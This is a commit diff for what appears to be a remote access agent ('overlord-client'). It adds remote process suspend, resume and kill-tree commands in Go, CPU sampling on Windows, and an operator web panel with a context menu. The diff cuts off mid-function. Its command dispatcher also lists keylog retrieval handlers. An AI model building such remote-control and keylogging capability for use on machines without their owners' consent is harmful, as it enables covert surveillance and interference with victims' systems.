add context menu to processes view + add more shit you can do.
This commit is contained in:
@@ -2141,6 +2141,62 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
pid = int32(p)
|
pid = int32(p)
|
||||||
}
|
}
|
||||||
return HandleProcessKill(ctx, env, cmdID, pid)
|
return HandleProcessKill(ctx, env, cmdID, pid)
|
||||||
|
case "process_suspend":
|
||||||
|
payload, _ := envelope["payload"].(map[string]interface{})
|
||||||
|
if payload == nil {
|
||||||
|
if rawPayload, ok := envelope["payload"].(map[interface{}]interface{}); ok {
|
||||||
|
payload = make(map[string]interface{}, len(rawPayload))
|
||||||
|
for k, v := range rawPayload {
|
||||||
|
ks, ok := k.(string)
|
||||||
|
if !ok {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
payload[ks] = v
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
suspendPid := int32(0)
|
||||||
|
if p, ok := payload["pid"].(float64); ok {
|
||||||
|
suspendPid = int32(p)
|
||||||
|
}
|
||||||
|
if p, ok := payload["pid"].(uint64); ok {
|
||||||
|
suspendPid = int32(p)
|
||||||
|
}
|
||||||
|
if p, ok := payload["pid"].(int64); ok {
|
||||||
|
suspendPid = int32(p)
|
||||||
|
}
|
||||||
|
if p, ok := payload["pid"].(int); ok {
|
||||||
|
suspendPid = int32(p)
|
||||||
|
}
|
||||||
|
return HandleProcessSuspend(ctx, env, cmdID, suspendPid)
|
||||||
|
case "process_resume":
|
||||||
|
payload, _ := envelope["payload"].(map[string]interface{})
|
||||||
|
if payload == nil {
|
||||||
|
if rawPayload, ok := envelope["payload"].(map[interface{}]interface{}); ok {
|
||||||
|
payload = make(map[string]interface{}, len(rawPayload))
|
||||||
|
for k, v := range rawPayload {
|
||||||
|
ks, ok := k.(string)
|
||||||
|
if !ok {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
payload[ks] = v
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
resumePid := int32(0)
|
||||||
|
if p, ok := payload["pid"].(float64); ok {
|
||||||
|
resumePid = int32(p)
|
||||||
|
}
|
||||||
|
if p, ok := payload["pid"].(uint64); ok {
|
||||||
|
resumePid = int32(p)
|
||||||
|
}
|
||||||
|
if p, ok := payload["pid"].(int64); ok {
|
||||||
|
resumePid = int32(p)
|
||||||
|
}
|
||||||
|
if p, ok := payload["pid"].(int); ok {
|
||||||
|
resumePid = int32(p)
|
||||||
|
}
|
||||||
|
return HandleProcessResume(ctx, env, cmdID, resumePid)
|
||||||
case "keylog_list":
|
case "keylog_list":
|
||||||
return HandleKeylogList(ctx, env, cmdID)
|
return HandleKeylogList(ctx, env, cmdID)
|
||||||
case "keylog_retrieve":
|
case "keylog_retrieve":
|
||||||
|
|||||||
@@ -51,3 +51,41 @@ func HandleProcessKill(ctx context.Context, env *runtime.Env, cmdID string, pid
|
|||||||
}
|
}
|
||||||
return wire.WriteMsg(ctx, env.Conn, result)
|
return wire.WriteMsg(ctx, env.Conn, result)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func HandleProcessSuspend(ctx context.Context, env *runtime.Env, cmdID string, pid int32) error {
|
||||||
|
log.Printf("process_suspend: %d", pid)
|
||||||
|
|
||||||
|
err := suspendProcess(pid)
|
||||||
|
ok := err == nil
|
||||||
|
errMsg := ""
|
||||||
|
if err != nil {
|
||||||
|
errMsg = err.Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
result := wire.CommandResult{
|
||||||
|
Type: "command_result",
|
||||||
|
CommandID: cmdID,
|
||||||
|
OK: ok,
|
||||||
|
Message: errMsg,
|
||||||
|
}
|
||||||
|
return wire.WriteMsg(ctx, env.Conn, result)
|
||||||
|
}
|
||||||
|
|
||||||
|
func HandleProcessResume(ctx context.Context, env *runtime.Env, cmdID string, pid int32) error {
|
||||||
|
log.Printf("process_resume: %d", pid)
|
||||||
|
|
||||||
|
err := resumeProcess(pid)
|
||||||
|
ok := err == nil
|
||||||
|
errMsg := ""
|
||||||
|
if err != nil {
|
||||||
|
errMsg = err.Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
result := wire.CommandResult{
|
||||||
|
Type: "command_result",
|
||||||
|
CommandID: cmdID,
|
||||||
|
OK: ok,
|
||||||
|
Message: errMsg,
|
||||||
|
}
|
||||||
|
return wire.WriteMsg(ctx, env.Conn, result)
|
||||||
|
}
|
||||||
|
|||||||
@@ -90,3 +90,11 @@ func listProcesses() ([]wire.ProcessInfo, error) {
|
|||||||
func killProcess(pid int32) error {
|
func killProcess(pid int32) error {
|
||||||
return syscall.Kill(int(pid), syscall.SIGKILL)
|
return syscall.Kill(int(pid), syscall.SIGKILL)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func suspendProcess(pid int32) error {
|
||||||
|
return syscall.Kill(int(pid), syscall.SIGSTOP)
|
||||||
|
}
|
||||||
|
|
||||||
|
func resumeProcess(pid int32) error {
|
||||||
|
return syscall.Kill(int(pid), syscall.SIGCONT)
|
||||||
|
}
|
||||||
|
|||||||
@@ -6,8 +6,11 @@ package handlers
|
|||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
"os"
|
"os"
|
||||||
|
"runtime"
|
||||||
"strings"
|
"strings"
|
||||||
|
"sync"
|
||||||
"syscall"
|
"syscall"
|
||||||
|
"time"
|
||||||
"unsafe"
|
"unsafe"
|
||||||
|
|
||||||
"overlord-client/cmd/agent/wire"
|
"overlord-client/cmd/agent/wire"
|
||||||
@@ -18,10 +21,22 @@ import (
|
|||||||
var (
|
var (
|
||||||
modKernel32 = windows.NewLazySystemDLL("kernel32.dll")
|
modKernel32 = windows.NewLazySystemDLL("kernel32.dll")
|
||||||
modPsapi = windows.NewLazySystemDLL("psapi.dll")
|
modPsapi = windows.NewLazySystemDLL("psapi.dll")
|
||||||
|
modNtdll = windows.NewLazySystemDLL("ntdll.dll")
|
||||||
procEnumProcesses = modPsapi.NewProc("EnumProcesses")
|
procEnumProcesses = modPsapi.NewProc("EnumProcesses")
|
||||||
procGetProcessMemoryInfo = modPsapi.NewProc("GetProcessMemoryInfo")
|
procGetProcessMemoryInfo = modPsapi.NewProc("GetProcessMemoryInfo")
|
||||||
procOpenProcess = modKernel32.NewProc("OpenProcess")
|
procOpenProcess = modKernel32.NewProc("OpenProcess")
|
||||||
procGetProcessImageFileNameW = modPsapi.NewProc("GetProcessImageFileNameW")
|
procGetProcessImageFileNameW = modPsapi.NewProc("GetProcessImageFileNameW")
|
||||||
|
procGetProcessTimes = modKernel32.NewProc("GetProcessTimes")
|
||||||
|
)
|
||||||
|
|
||||||
|
type cpuSample struct {
|
||||||
|
cpuTime100ns uint64
|
||||||
|
sampledAt time.Time
|
||||||
|
}
|
||||||
|
|
||||||
|
var (
|
||||||
|
cpuSamplesMu sync.Mutex
|
||||||
|
cpuSamples = make(map[int32]cpuSample)
|
||||||
)
|
)
|
||||||
|
|
||||||
type PROCESS_MEMORY_COUNTERS struct {
|
type PROCESS_MEMORY_COUNTERS struct {
|
||||||
@@ -39,6 +54,10 @@ type PROCESS_MEMORY_COUNTERS struct {
|
|||||||
|
|
||||||
func listProcesses() ([]wire.ProcessInfo, error) {
|
func listProcesses() ([]wire.ProcessInfo, error) {
|
||||||
selfPID := int32(os.Getpid())
|
selfPID := int32(os.Getpid())
|
||||||
|
numCPU := runtime.NumCPU()
|
||||||
|
if numCPU < 1 {
|
||||||
|
numCPU = 1
|
||||||
|
}
|
||||||
var pids [4096]uint32
|
var pids [4096]uint32
|
||||||
var bytesReturned uint32
|
var bytesReturned uint32
|
||||||
|
|
||||||
@@ -105,6 +124,36 @@ func listProcesses() ([]wire.ProcessInfo, error) {
|
|||||||
memory = uint64(memCounters.WorkingSetSize)
|
memory = uint64(memCounters.WorkingSetSize)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
cpu := 0.0
|
||||||
|
var creation, exit, kernel, user windows.Filetime
|
||||||
|
ret, _, _ = procGetProcessTimes.Call(
|
||||||
|
handle,
|
||||||
|
uintptr(unsafe.Pointer(&creation)),
|
||||||
|
uintptr(unsafe.Pointer(&exit)),
|
||||||
|
uintptr(unsafe.Pointer(&kernel)),
|
||||||
|
uintptr(unsafe.Pointer(&user)),
|
||||||
|
)
|
||||||
|
if ret != 0 {
|
||||||
|
cpuTotal := (uint64(kernel.HighDateTime)<<32 | uint64(kernel.LowDateTime)) +
|
||||||
|
(uint64(user.HighDateTime)<<32 | uint64(user.LowDateTime))
|
||||||
|
now := time.Now()
|
||||||
|
cpuSamplesMu.Lock()
|
||||||
|
if prev, ok := cpuSamples[pid]; ok {
|
||||||
|
wallDelta := now.Sub(prev.sampledAt).Seconds()
|
||||||
|
if wallDelta > 0 && cpuTotal >= prev.cpuTime100ns {
|
||||||
|
cpuDelta := float64(cpuTotal-prev.cpuTime100ns) / 1e7
|
||||||
|
cpu = (cpuDelta / wallDelta) / float64(numCPU) * 100.0
|
||||||
|
if cpu < 0 {
|
||||||
|
cpu = 0
|
||||||
|
} else if cpu > 100 {
|
||||||
|
cpu = 100
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
cpuSamples[pid] = cpuSample{cpuTime100ns: cpuTotal, sampledAt: now}
|
||||||
|
cpuSamplesMu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
var pbi windows.PROCESS_BASIC_INFORMATION
|
var pbi windows.PROCESS_BASIC_INFORMATION
|
||||||
ppid := int32(0)
|
ppid := int32(0)
|
||||||
err := windows.NtQueryInformationProcess(windows.Handle(handle), windows.ProcessBasicInformation, unsafe.Pointer(&pbi), uint32(unsafe.Sizeof(pbi)), nil)
|
err := windows.NtQueryInformationProcess(windows.Handle(handle), windows.ProcessBasicInformation, unsafe.Pointer(&pbi), uint32(unsafe.Sizeof(pbi)), nil)
|
||||||
@@ -155,7 +204,7 @@ func listProcesses() ([]wire.ProcessInfo, error) {
|
|||||||
PID: pid,
|
PID: pid,
|
||||||
PPID: ppid,
|
PPID: ppid,
|
||||||
Name: name,
|
Name: name,
|
||||||
CPU: 0.0,
|
CPU: cpu,
|
||||||
Memory: memory,
|
Memory: memory,
|
||||||
Username: username,
|
Username: username,
|
||||||
Type: procType,
|
Type: procType,
|
||||||
@@ -163,6 +212,18 @@ func listProcesses() ([]wire.ProcessInfo, error) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
cpuSamplesMu.Lock()
|
||||||
|
live := make(map[int32]struct{}, len(processes))
|
||||||
|
for _, p := range processes {
|
||||||
|
live[p.PID] = struct{}{}
|
||||||
|
}
|
||||||
|
for pid := range cpuSamples {
|
||||||
|
if _, ok := live[pid]; !ok {
|
||||||
|
delete(cpuSamples, pid)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
cpuSamplesMu.Unlock()
|
||||||
|
|
||||||
return processes, nil
|
return processes, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -175,3 +236,33 @@ func killProcess(pid int32) error {
|
|||||||
|
|
||||||
return windows.TerminateProcess(handle, 1)
|
return windows.TerminateProcess(handle, 1)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func suspendProcess(pid int32) error {
|
||||||
|
procNtSuspendProcess := modNtdll.NewProc("NtSuspendProcess")
|
||||||
|
handle, err := windows.OpenProcess(windows.PROCESS_SUSPEND_RESUME, false, uint32(pid))
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer windows.CloseHandle(handle)
|
||||||
|
|
||||||
|
ret, _, _ := procNtSuspendProcess.Call(uintptr(handle))
|
||||||
|
if ret != 0 {
|
||||||
|
return fmt.Errorf("NtSuspendProcess failed with status 0x%x", ret)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func resumeProcess(pid int32) error {
|
||||||
|
procNtResumeProcess := modNtdll.NewProc("NtResumeProcess")
|
||||||
|
handle, err := windows.OpenProcess(windows.PROCESS_SUSPEND_RESUME, false, uint32(pid))
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer windows.CloseHandle(handle)
|
||||||
|
|
||||||
|
ret, _, _ := procNtResumeProcess.Call(uintptr(handle))
|
||||||
|
if ret != 0 {
|
||||||
|
return fmt.Errorf("NtResumeProcess failed with status 0x%x", ret)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|||||||
@@ -8,6 +8,7 @@ let processMap = new Map();
|
|||||||
let processTree = [];
|
let processTree = [];
|
||||||
let collapsedPids = new Set();
|
let collapsedPids = new Set();
|
||||||
let selectedPid = null;
|
let selectedPid = null;
|
||||||
|
let rowsByPid = new Map();
|
||||||
let sortField = "cpu";
|
let sortField = "cpu";
|
||||||
let sortDirection = "desc";
|
let sortDirection = "desc";
|
||||||
let searchTerm = "";
|
let searchTerm = "";
|
||||||
@@ -155,54 +156,54 @@ function buildProcessTree() {
|
|||||||
processMap.set(proc.pid, { ...proc, children: [] });
|
processMap.set(proc.pid, { ...proc, children: [] });
|
||||||
});
|
});
|
||||||
|
|
||||||
|
const isShellParent = (proc) =>
|
||||||
|
proc && typeof proc.name === "string" && proc.name.toLowerCase() === "explorer.exe";
|
||||||
|
|
||||||
const roots = [];
|
const roots = [];
|
||||||
processMap.forEach((proc) => {
|
processMap.forEach((proc) => {
|
||||||
if (proc.ppid && processMap.has(proc.ppid)) {
|
const parent = proc.ppid ? processMap.get(proc.ppid) : null;
|
||||||
processMap.get(proc.ppid).children.push(proc);
|
if (parent && proc.ppid !== proc.pid && !isShellParent(parent)) {
|
||||||
|
parent.children.push(proc);
|
||||||
} else {
|
} else {
|
||||||
roots.push(proc);
|
roots.push(proc);
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
|
function computeAggregates(proc) {
|
||||||
|
let cpuTotal = proc.cpu || 0;
|
||||||
|
let memTotal = Number(proc.memory || 0);
|
||||||
|
for (const child of proc.children) {
|
||||||
|
const [childCpu, childMem] = computeAggregates(child);
|
||||||
|
cpuTotal += childCpu;
|
||||||
|
memTotal += childMem;
|
||||||
|
}
|
||||||
|
proc.aggregatedCpu = Math.min(cpuTotal, 100);
|
||||||
|
proc.aggregatedMemory = memTotal;
|
||||||
|
return [cpuTotal, memTotal];
|
||||||
|
}
|
||||||
|
roots.forEach(computeAggregates);
|
||||||
|
|
||||||
|
const sortValue = (proc) => {
|
||||||
|
if (sortField === "cpu") return proc.aggregatedCpu;
|
||||||
|
if (sortField === "memory") return proc.aggregatedMemory;
|
||||||
|
if (sortField === "name") return proc.name.toLowerCase();
|
||||||
|
return proc[sortField];
|
||||||
|
};
|
||||||
|
const cmp = (a, b) => {
|
||||||
|
const aVal = sortValue(a);
|
||||||
|
const bVal = sortValue(b);
|
||||||
|
if (sortDirection === "asc") return aVal > bVal ? 1 : -1;
|
||||||
|
return aVal < bVal ? 1 : -1;
|
||||||
|
};
|
||||||
|
|
||||||
function sortChildren(proc) {
|
function sortChildren(proc) {
|
||||||
if (proc.children.length > 0) {
|
if (proc.children.length > 0) {
|
||||||
proc.children.sort((a, b) => {
|
proc.children.sort(cmp);
|
||||||
let aVal = a[sortField];
|
proc.children.forEach(sortChildren);
|
||||||
let bVal = b[sortField];
|
|
||||||
|
|
||||||
if (sortField === "name") {
|
|
||||||
aVal = aVal.toLowerCase();
|
|
||||||
bVal = bVal.toLowerCase();
|
|
||||||
}
|
|
||||||
|
|
||||||
if (sortDirection === "asc") {
|
|
||||||
return aVal > bVal ? 1 : -1;
|
|
||||||
} else {
|
|
||||||
return aVal < bVal ? 1 : -1;
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
proc.children.forEach((child) => sortChildren(child));
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
roots.forEach(sortChildren);
|
||||||
roots.forEach((proc) => sortChildren(proc));
|
roots.sort(cmp);
|
||||||
|
|
||||||
roots.sort((a, b) => {
|
|
||||||
let aVal = a[sortField];
|
|
||||||
let bVal = b[sortField];
|
|
||||||
|
|
||||||
if (sortField === "name") {
|
|
||||||
aVal = aVal.toLowerCase();
|
|
||||||
bVal = bVal.toLowerCase();
|
|
||||||
}
|
|
||||||
|
|
||||||
if (sortDirection === "asc") {
|
|
||||||
return aVal > bVal ? 1 : -1;
|
|
||||||
} else {
|
|
||||||
return aVal < bVal ? 1 : -1;
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
processTree = roots;
|
processTree = roots;
|
||||||
}
|
}
|
||||||
@@ -236,45 +237,79 @@ function renderProcesses() {
|
|||||||
if (filtered.length === 0) {
|
if (filtered.length === 0) {
|
||||||
processListEl.innerHTML =
|
processListEl.innerHTML =
|
||||||
'<div class="px-4 py-6 text-center text-slate-400"><i class="fa-solid fa-inbox mr-2"></i>No processes found</div>';
|
'<div class="px-4 py-6 text-center text-slate-400"><i class="fa-solid fa-inbox mr-2"></i>No processes found</div>';
|
||||||
|
rowsByPid.clear();
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
processListEl.innerHTML = "";
|
for (const child of [...processListEl.children]) {
|
||||||
filtered.forEach((proc) => {
|
if (!child.classList.contains("process-row")) child.remove();
|
||||||
const row = createProcessRow(proc, proc.depth);
|
}
|
||||||
processListEl.appendChild(row);
|
|
||||||
|
const seen = new Set();
|
||||||
|
filtered.forEach((proc, index) => {
|
||||||
|
seen.add(proc.pid);
|
||||||
|
let row = rowsByPid.get(proc.pid);
|
||||||
|
if (!row) {
|
||||||
|
row = createProcessRow(proc, proc.depth);
|
||||||
|
rowsByPid.set(proc.pid, row);
|
||||||
|
} else {
|
||||||
|
updateProcessRow(row, proc, proc.depth);
|
||||||
|
}
|
||||||
|
if (processListEl.children[index] !== row) {
|
||||||
|
processListEl.insertBefore(row, processListEl.children[index] || null);
|
||||||
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
|
for (const [pid, row] of rowsByPid) {
|
||||||
|
if (!seen.has(pid)) {
|
||||||
|
row.remove();
|
||||||
|
rowsByPid.delete(pid);
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
function createProcessRow(proc, depth = 0) {
|
function rowClassName(proc) {
|
||||||
const row = document.createElement("div");
|
let cls =
|
||||||
row.className =
|
|
||||||
"process-row grid grid-cols-12 gap-3 px-4 py-3 border border-transparent cursor-pointer transition-colors";
|
"process-row grid grid-cols-12 gap-3 px-4 py-3 border border-transparent cursor-pointer transition-colors";
|
||||||
row.dataset.pid = proc.pid;
|
if (selectedPid === proc.pid) cls += " selected";
|
||||||
|
if (proc.self) cls += " self-process";
|
||||||
if (selectedPid === proc.pid) {
|
return cls;
|
||||||
row.classList.add("selected");
|
}
|
||||||
}
|
|
||||||
if (proc.self) {
|
|
||||||
row.classList.add("self-process");
|
|
||||||
}
|
|
||||||
|
|
||||||
|
function rowInnerHtml(proc, depth) {
|
||||||
|
const displayCpu = proc.aggregatedCpu ?? proc.cpu;
|
||||||
|
const displayMemory = proc.aggregatedMemory ?? Number(proc.memory || 0);
|
||||||
const cpuColor =
|
const cpuColor =
|
||||||
proc.cpu > 50
|
displayCpu > 50
|
||||||
? "text-red-400"
|
? "text-red-400"
|
||||||
: proc.cpu > 20
|
: displayCpu > 25
|
||||||
? "text-yellow-400"
|
? "text-orange-400"
|
||||||
: "text-slate-400";
|
: displayCpu > 10
|
||||||
const memoryStr = formatBytes(proc.memory);
|
? "text-yellow-400"
|
||||||
|
: displayCpu > 1
|
||||||
|
? "text-slate-200"
|
||||||
|
: "text-slate-500";
|
||||||
|
const MB = 1024 * 1024;
|
||||||
|
const memColor =
|
||||||
|
displayMemory > 2048 * MB
|
||||||
|
? "text-red-400"
|
||||||
|
: displayMemory > 1024 * MB
|
||||||
|
? "text-orange-400"
|
||||||
|
: displayMemory > 256 * MB
|
||||||
|
? "text-yellow-400"
|
||||||
|
: displayMemory > 32 * MB
|
||||||
|
? "text-slate-200"
|
||||||
|
: "text-slate-500";
|
||||||
|
const memoryStr = formatBytes(displayMemory);
|
||||||
|
|
||||||
const hasChildren = proc.children && proc.children.length > 0;
|
const hasChildren = proc.children && proc.children.length > 0;
|
||||||
const isCollapsed = collapsedPids.has(proc.pid);
|
const isCollapsed = collapsedPids.has(proc.pid);
|
||||||
const indent = " ".repeat(depth);
|
const indent = '<span class="tree-indent-guide"></span>'.repeat(depth);
|
||||||
|
|
||||||
let treeIcon = "";
|
let treeIcon;
|
||||||
if (hasChildren) {
|
if (hasChildren) {
|
||||||
treeIcon = `<span class="tree-icon" data-pid="${escapeHtml(String(proc.pid))}">${isCollapsed ? "▶" : "▼"}</span>`;
|
treeIcon = `<span class="tree-icon${isCollapsed ? " collapsed" : ""}" data-pid="${escapeHtml(String(proc.pid))}"><i class="fa-solid fa-chevron-down text-[10px]"></i></span>`;
|
||||||
} else if (depth > 0) {
|
} else {
|
||||||
treeIcon = '<span class="tree-indent"></span>';
|
treeIcon = '<span class="tree-indent"></span>';
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -301,28 +336,45 @@ function createProcessRow(proc, depth = 0) {
|
|||||||
? ' <span class="ml-1 text-[10px] uppercase tracking-wide px-1.5 py-0.5 rounded bg-yellow-500/20 text-yellow-300 border border-yellow-500/40">agent</span>'
|
? ' <span class="ml-1 text-[10px] uppercase tracking-wide px-1.5 py-0.5 rounded bg-yellow-500/20 text-yellow-300 border border-yellow-500/40">agent</span>'
|
||||||
: "";
|
: "";
|
||||||
|
|
||||||
row.innerHTML = `
|
return `
|
||||||
<div class="col-span-1 text-sm font-mono text-slate-400">${proc.pid}</div>
|
<div class="col-span-1 text-sm font-mono text-slate-400">${proc.pid}</div>
|
||||||
<div class="col-span-4 flex items-center gap-1 truncate">
|
<div class="col-span-4 flex items-center gap-1 truncate">
|
||||||
${indent}${treeIcon}<i class="fa-solid ${iconClass} ${iconColor}"></i>
|
${indent}${treeIcon}<i class="fa-solid ${iconClass} ${iconColor}"></i>
|
||||||
<span class="truncate ${nameColor}">${escapeHtml(proc.name)}</span>${selfBadge}
|
<span class="truncate ${nameColor}">${escapeHtml(proc.name)}</span>${selfBadge}
|
||||||
</div>
|
</div>
|
||||||
<div class="col-span-2 text-sm ${cpuColor} font-semibold">${proc.cpu.toFixed(1)}%</div>
|
<div class="col-span-2 text-sm ${cpuColor} font-semibold">${displayCpu.toFixed(1)}%</div>
|
||||||
<div class="col-span-2 text-sm text-slate-400">${memoryStr}</div>
|
<div class="col-span-2 text-sm ${memColor}">${memoryStr}</div>
|
||||||
<div class="col-span-3 text-sm text-slate-500 truncate">${escapeHtml(proc.username || "-")}</div>
|
<div class="col-span-3 text-sm text-slate-500 truncate">${escapeHtml(proc.username || "-")}</div>
|
||||||
`;
|
`;
|
||||||
|
}
|
||||||
|
|
||||||
|
function updateProcessRow(row, proc, depth) {
|
||||||
|
const nextClass = rowClassName(proc);
|
||||||
|
if (row.className !== nextClass) row.className = nextClass;
|
||||||
|
row.innerHTML = rowInnerHtml(proc, depth);
|
||||||
|
}
|
||||||
|
|
||||||
|
function createProcessRow(proc, depth = 0) {
|
||||||
|
const row = document.createElement("div");
|
||||||
|
row.dataset.pid = proc.pid;
|
||||||
|
row.className = rowClassName(proc);
|
||||||
|
row.innerHTML = rowInnerHtml(proc, depth);
|
||||||
|
|
||||||
row.onclick = (e) => {
|
row.onclick = (e) => {
|
||||||
if (e.target.classList.contains("tree-icon")) {
|
const pid = Number(row.dataset.pid);
|
||||||
toggleCollapse(proc.pid);
|
if (e.target.closest(".tree-icon")) {
|
||||||
|
toggleCollapse(pid);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
selectProcess(proc.pid);
|
selectProcess(pid);
|
||||||
};
|
};
|
||||||
|
|
||||||
row.ondblclick = () => {
|
row.oncontextmenu = (e) => {
|
||||||
selectProcess(proc.pid);
|
e.preventDefault();
|
||||||
killProcess();
|
e.stopPropagation();
|
||||||
|
const pid = Number(row.dataset.pid);
|
||||||
|
selectProcess(pid);
|
||||||
|
showContextMenu(e.clientX, e.clientY, pid);
|
||||||
};
|
};
|
||||||
|
|
||||||
return row;
|
return row;
|
||||||
@@ -420,6 +472,130 @@ function escapeHtml(text) {
|
|||||||
return div.innerHTML;
|
return div.innerHTML;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Context menu
|
||||||
|
let contextMenuEl = null;
|
||||||
|
|
||||||
|
function createContextMenu() {
|
||||||
|
const menu = document.createElement("div");
|
||||||
|
menu.id = "process-context-menu";
|
||||||
|
menu.className = "fixed z-50 hidden min-w-[180px] bg-slate-800 border border-slate-700 rounded-lg shadow-xl shadow-black/40 py-1 text-sm";
|
||||||
|
menu.innerHTML = `
|
||||||
|
<button data-action="suspend" class="ctx-item w-full text-left px-3 py-2 flex items-center gap-2 hover:bg-slate-700 text-slate-200">
|
||||||
|
<i class="fa-solid fa-pause w-4 text-center text-yellow-400"></i> Suspend Process
|
||||||
|
</button>
|
||||||
|
<button data-action="resume" class="ctx-item w-full text-left px-3 py-2 flex items-center gap-2 hover:bg-slate-700 text-slate-200">
|
||||||
|
<i class="fa-solid fa-play w-4 text-center text-green-400"></i> Resume Process
|
||||||
|
</button>
|
||||||
|
<div class="border-t border-slate-700 my-1"></div>
|
||||||
|
<button data-action="kill" class="ctx-item w-full text-left px-3 py-2 flex items-center gap-2 hover:bg-slate-700 text-slate-200">
|
||||||
|
<i class="fa-solid fa-skull-crossbones w-4 text-center text-red-400"></i> Kill Process
|
||||||
|
</button>
|
||||||
|
<button data-action="kill-tree" class="ctx-item w-full text-left px-3 py-2 flex items-center gap-2 hover:bg-slate-700 text-slate-200">
|
||||||
|
<i class="fa-solid fa-diagram-project w-4 text-center text-red-400"></i> Kill Process Tree
|
||||||
|
</button>
|
||||||
|
<div class="border-t border-slate-700 my-1"></div>
|
||||||
|
<button data-action="copy-pid" class="ctx-item w-full text-left px-3 py-2 flex items-center gap-2 hover:bg-slate-700 text-slate-200">
|
||||||
|
<i class="fa-solid fa-copy w-4 text-center text-blue-400"></i> Copy PID
|
||||||
|
</button>
|
||||||
|
<button data-action="copy-name" class="ctx-item w-full text-left px-3 py-2 flex items-center gap-2 hover:bg-slate-700 text-slate-200">
|
||||||
|
<i class="fa-solid fa-tag w-4 text-center text-blue-400"></i> Copy Name
|
||||||
|
</button>
|
||||||
|
<div class="border-t border-slate-700 my-1"></div>
|
||||||
|
<button data-action="refresh" class="ctx-item w-full text-left px-3 py-2 flex items-center gap-2 hover:bg-slate-700 text-slate-200">
|
||||||
|
<i class="fa-solid fa-refresh w-4 text-center text-slate-400"></i> Refresh List
|
||||||
|
</button>
|
||||||
|
`;
|
||||||
|
document.body.appendChild(menu);
|
||||||
|
return menu;
|
||||||
|
}
|
||||||
|
|
||||||
|
function showContextMenu(x, y, pid) {
|
||||||
|
if (!contextMenuEl) contextMenuEl = createContextMenu();
|
||||||
|
contextMenuEl.dataset.pid = pid;
|
||||||
|
contextMenuEl.classList.remove("hidden");
|
||||||
|
|
||||||
|
const rect = contextMenuEl.getBoundingClientRect();
|
||||||
|
const menuW = rect.width || 180;
|
||||||
|
const menuH = rect.height || 300;
|
||||||
|
const posX = x + menuW > window.innerWidth ? window.innerWidth - menuW - 8 : x;
|
||||||
|
const posY = y + menuH > window.innerHeight ? window.innerHeight - menuH - 8 : y;
|
||||||
|
|
||||||
|
contextMenuEl.style.left = posX + "px";
|
||||||
|
contextMenuEl.style.top = posY + "px";
|
||||||
|
}
|
||||||
|
|
||||||
|
function hideContextMenu() {
|
||||||
|
if (contextMenuEl) contextMenuEl.classList.add("hidden");
|
||||||
|
}
|
||||||
|
|
||||||
|
document.addEventListener("click", hideContextMenu);
|
||||||
|
document.addEventListener("contextmenu", (e) => {
|
||||||
|
if (!e.target.closest(".process-row") && !e.target.closest("#process-context-menu")) {
|
||||||
|
hideContextMenu();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
document.addEventListener("click", (e) => {
|
||||||
|
const item = e.target.closest(".ctx-item");
|
||||||
|
if (!item || !contextMenuEl) return;
|
||||||
|
const action = item.dataset.action;
|
||||||
|
const pid = Number(contextMenuEl.dataset.pid);
|
||||||
|
const proc = processes.find((p) => p.pid === pid);
|
||||||
|
hideContextMenu();
|
||||||
|
|
||||||
|
switch (action) {
|
||||||
|
case "suspend":
|
||||||
|
if (!proc) break;
|
||||||
|
if (!confirm(`Suspend process "${proc.name}" (PID: ${pid})?`)) break;
|
||||||
|
send({ type: "process_suspend", pid });
|
||||||
|
updateStatus("connected", "Suspending process...");
|
||||||
|
break;
|
||||||
|
case "resume":
|
||||||
|
if (!proc) break;
|
||||||
|
send({ type: "process_resume", pid });
|
||||||
|
updateStatus("connected", "Resuming process...");
|
||||||
|
break;
|
||||||
|
case "kill":
|
||||||
|
if (!proc) break;
|
||||||
|
if (!confirm(`Kill process "${proc.name}" (PID: ${pid})?`)) break;
|
||||||
|
send({ type: "process_kill", pid });
|
||||||
|
updateStatus("connected", "Killing process...");
|
||||||
|
break;
|
||||||
|
case "kill-tree":
|
||||||
|
if (!proc) break;
|
||||||
|
if (!confirm(`Kill process "${proc.name}" (PID: ${pid}) and all child processes?`)) break;
|
||||||
|
killProcessTree(pid);
|
||||||
|
break;
|
||||||
|
case "copy-pid":
|
||||||
|
navigator.clipboard.writeText(String(pid));
|
||||||
|
break;
|
||||||
|
case "copy-name":
|
||||||
|
if (proc) navigator.clipboard.writeText(proc.name);
|
||||||
|
break;
|
||||||
|
case "refresh":
|
||||||
|
requestProcessList();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
function killProcessTree(pid) {
|
||||||
|
const toKill = [];
|
||||||
|
